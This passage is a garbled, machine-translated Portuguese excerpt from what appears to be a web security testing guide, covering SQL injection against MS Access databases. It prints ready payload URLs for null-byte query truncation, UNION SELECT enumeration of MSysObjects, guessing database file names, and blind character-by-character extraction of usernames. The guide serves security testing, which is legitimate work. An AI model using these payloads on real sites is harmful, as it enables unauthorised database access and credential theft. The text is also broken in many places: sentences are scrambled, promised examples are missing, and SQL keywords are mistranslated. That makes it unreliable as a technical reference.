Erro fatal: exceção não capturada 'com_exception' com mensagem Origem: Microsoft JET Database Engine
ou
ou
Em todos os casos, temos a confirmação de que estamos testando um aplicativo usando o banco de dados do MS Access.
Teste básico
Infelizmente, o MS Access não oferece suporte a operadores típicos que são tradicionalmente usados durante o teste de injeção de SQL, incluindo:
No entanto, é possível emular essas funções combinando vários operadores ou usando técnicas alternativas. Conforme mencionado, não é possível usar o
, byte
truque de inserir os caracteres /* -- ou # para truncar a consulta. No entanto, podemos felizmente contornar essa limitação injetando um caractere
nulo %00'nulo'.
em umaUsar um
consulta SQL resulta no MS Access ignorando todos os caracteres restantes. Isso pode ser explicado considerando que todas as strings são terminadas em
NULL na representação interna usada pelo banco de dados. Vale a pena mencionar que o caractere nulo às vezes também pode causar problemas, pois pode
truncar strings no nível do servidor da web. Nessas situações, podemos, no entanto, empregar outro caractere: 0x16 ( % 16 no formato codificado de URL).
http://www.example.com/page.asp?user=admin'%00&pass=foo
http://www.example.com/page.app?user=admin'%16&pass=foo
O operador LIMIT não é implementado no MS Access, porém é possível limitar o número de resultados usando os operadores TOP ou LAST .
http://www.example.com/page.app?id=2'+UNION+SELECT+TOP+3+name+FROM+appsTable%00
Ao combinar os dois operadores, é possível selecionar resultados específicos. A concatenação de strings é possível usando os caracteres & (%26) e +
(%2b) .
Há também muitas outras funções que podem ser usadas durante o teste de injeção de SQL, incluindo, mas não se limitando a:
IIF: É a construção IF, por exemplo a seguinte declaração IIF(1=1, 'a', 'b') return a MID: Esta função permite extrair
substring, por exemplo a seguinte declaração mid('abc',1 ,1) return a TOP: Esta função permite especificar o número máximo de resultados que a
LAST: Esta função é usada para selecionar apenas a última linha de um conjunto de linhas. Por exemplo, a seguinte consulta SELECT last(*) FROM
users retornará apenas a última linha do resultado.
Alguns desses operadores são essenciais para explorar injeções cegas de SQL. Para outros operadores avançados, consulte os documentos nas referências.
Enumeração de Atributos
Para enumerar a coluna de uma tabela de banco de dados, é possível usar uma técnica comum baseada em erros. Resumindo, podemos obter o nome dos
atributos analisando as mensagens de erro e repetindo a consulta com diferentes seletores. Por exemplo, assumindo que sabemos da existência de uma
coluna, também podemos obter o nome dos restantes atributos com a seguinte consulta:
Na mensagem de erro recebida é possível observar o nome da próxima coluna. Neste ponto, podemos iterar o método até obtermos o nome de todos os
atributos. Se não soubermos o nome do primeiro atributo, ainda podemos inserir um nome de coluna fictício e obter o nome do primeiro atributo na mensagem
de erro.
Várias tabelas de sistema existem por padrão no MS Access que podem ser potencialmente usadas para obter nomes e colunas de tabelas.
Infelizmente, na configuração padrão das versões recentes do banco de dados do MS Access, essas tabelas não são acessíveis.
No entanto, vale sempre a pena tentar:
MSysObjects
MSysACEs
MSysAccessXML
Por exemplo, se existir uma vulnerabilidade de injeção SQL de união, você poderá usar a seguinte consulta:
'
UNION SELECT Nome FROM MSysObjects WHERE Tipo = 1%00
Machine Translated by Google
272
Como alternativa, é sempre possível usar força bruta no esquema do banco de dados usando uma lista de palavras padrão (por exemplo , FuzzDb).
Em alguns casos, os desenvolvedores ou administradores de sistema não percebem que incluir o arquivo .mdb real no webroot do aplicativo pode permitir
o download de todo o banco de dados. Os nomes de arquivos do banco de dados podem ser inferidos com o seguinte
consulta:
http://www.example.com/page.app?id=1'+UNION+SELECT+1+FROM+name.table%00
onde name é o nome do arquivo .mdb e table é uma tabela de banco de dados válida. No caso de bancos de dados protegidos por senha, vários utilitários
de software podem ser usados para quebrar a senha. Consulte as referências.
No caso de injeções cegas de SQL, o invasor só pode inferir o resultado da consulta avaliando as diferenças de tempo ou as respostas do aplicativo.
Supõe-se que o leitor já conheça a teoria por trás dos ataques de injeção cega de SQL, pois a parte restante desta seção se concentrará em detalhes
específicos do MS Access.
http://www.example.com/index.php?myId=[sql]
*
SELECIONE DE pedidos WHERE [id]=$myId
Vamos considerar o parâmetro myId vulnerável à injeção cega de SQL. Como invasor, queremos extrair o conteúdo da coluna username na tabela users ,
assumindo que já divulgamos o esquema do banco de dados.
Uma consulta típica que pode ser usada para inferir o primeiro caractere do nome de usuário da décima linha é:
http://www.example.com/index.php?
id=IIF((select%20MID(LAST(username),1,1)%20from%20(select%20TOP%2010%20username%20from%20users)='a',0,'n
o')
Usando uma combinação das funções IFF, MID, LAST e TOP , é possível extrair o primeiro caractere do nome de usuário em uma linha especificamente
selecionada. Como a consulta interna retorna um conjunto de registros, e não apenas um, não é possível utilizá-la diretamente. Felizmente, podemos
combinar várias funções para extrair uma string específica.
Vamos supor que queremos recuperar o nome de usuário da 10ª linha. Primeiro, podemos usar a função TOP para selecionar as dez primeiras linhas
Então, usando este subconjunto, podemos extrair a última linha usando a função LAST. Uma vez que temos apenas uma linha e exatamente a linha que
contém nossa string, podemos usar as funções IFF, MID e LAST para inferir o valor real do nome de usuário. Em nosso exemplo, empregamos IFF para
retornar um número ou uma string. Usando esse truque, podemos distinguir se temos uma resposta verdadeira ou não, observando as respostas de erro
do aplicativo. Como id é numérico, a comparação com uma string resulta em um erro SQL que pode ser potencialmente vazado por 500 páginas de erro
interno do servidor . Caso contrário, uma página padrão 200 OK provavelmente será retornada.
http://www.example.com/index.php?
id='%20AND%201=0%20OR%20'a'=IIF((select%20MID(LAST(username),1,1)%20from%20(select%20TOP%2010%20username%
20from%20users))='a','a','b')%00
Conforme mencionado, este método permite inferir o valor de strings arbitrárias dentro do banco de dados:
correspondência 2. Inferindo o comprimento da string usando a função LEN ou simplesmente parando depois de encontrar todos
personagens
Injeções SQL cegas baseadas em tempo também são possíveis abusando de consultas pesadas.
Referências
Folha de checagem de injeção SQL do MS Access
MS Access: Funções